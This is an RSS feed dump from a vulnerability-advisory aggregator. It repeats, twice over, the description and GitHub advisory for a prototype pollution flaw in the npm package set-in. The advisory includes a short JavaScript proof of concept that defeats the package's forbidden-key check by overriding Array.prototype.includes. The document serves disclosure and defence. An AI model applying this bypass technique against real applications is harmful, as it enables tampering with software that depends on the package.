https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 10 Oct 2026 07:47:54 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-268258 EUVD-2026-268258 https://cve.radiocsirt.org/vuln/euvd-2026-268258 https://cve.radiocsirt.org/vuln/fkie_cve-2026-26021 <p>set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (&gt;=2.0.1, &lt; 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.</p> <p>set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (&gt;=2.0.1, &lt; 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-26021 https://cve.radiocsirt.org/vuln/ghsa-2c4m-g7rx-63q7 <p><strong>Affected:</strong> npm: set-in</p> <p>### Summary A prototype pollution vulnerability exists in the the npm package set-in (&gt;=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.</p> <p>### Details The vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.</p> <p>### PoC #### Steps to reproduce 1. Install latest version of set-in using npm install or cloning from git 2. Run the following code snippet:</p> <p>```javascript Array.prototype.includes = () =&gt; false; const si = require(&#39;set-in&#39;); const obj = {}; console.log({}.polluted); si(obj, [ &#39;constructor&#39;, &#39;prototype&#39;, &#39;polluted&#39; ], &#39;yes&#39;); console.log(&#39;{ &#39; + obj.polluted + &#39;, &#39; + &#39;yes&#39; + &#39; }&#39;); // prints yes -&gt; indicating that the patch was bypassed and prototype pollution occurred ```</p> <p>#### Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ```</p> <p>#### Actual behavior Object.prototype is polluted This is printed on the console: ``` undefined yes ```</p> <p>### Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream app…</p> <p><strong>Affected:</strong> npm: set-in</p> <p>### Summary A prototype pollution vulnerability exists in the the npm package set-in (&gt;=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.</p> <p>### Details The vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.</p> <p>### PoC #### Steps to reproduce 1. Install latest version of set-in using npm install or cloning from git 2. Run the following code snippet:</p> <p>```javascript Array.prototype.includes = () =&gt; false; const si = require(&#39;set-in&#39;); const obj = {}; console.log({}.polluted); si(obj, [ &#39;constructor&#39;, &#39;prototype&#39;, &#39;polluted&#39; ], &#39;yes&#39;); console.log(&#39;{ &#39; + obj.polluted + &#39;, &#39; + &#39;yes&#39; + &#39; }&#39;); // prints yes -&gt; indicating that the patch was bypassed and prototype pollution occurred ```</p> <p>#### Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ```</p> <p>#### Actual behavior Object.prototype is polluted This is printed on the console: ``` undefined yes ```</p> <p>### Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream app…</p> https://cve.radiocsirt.org/vuln/ghsa-2c4m-g7rx-63q7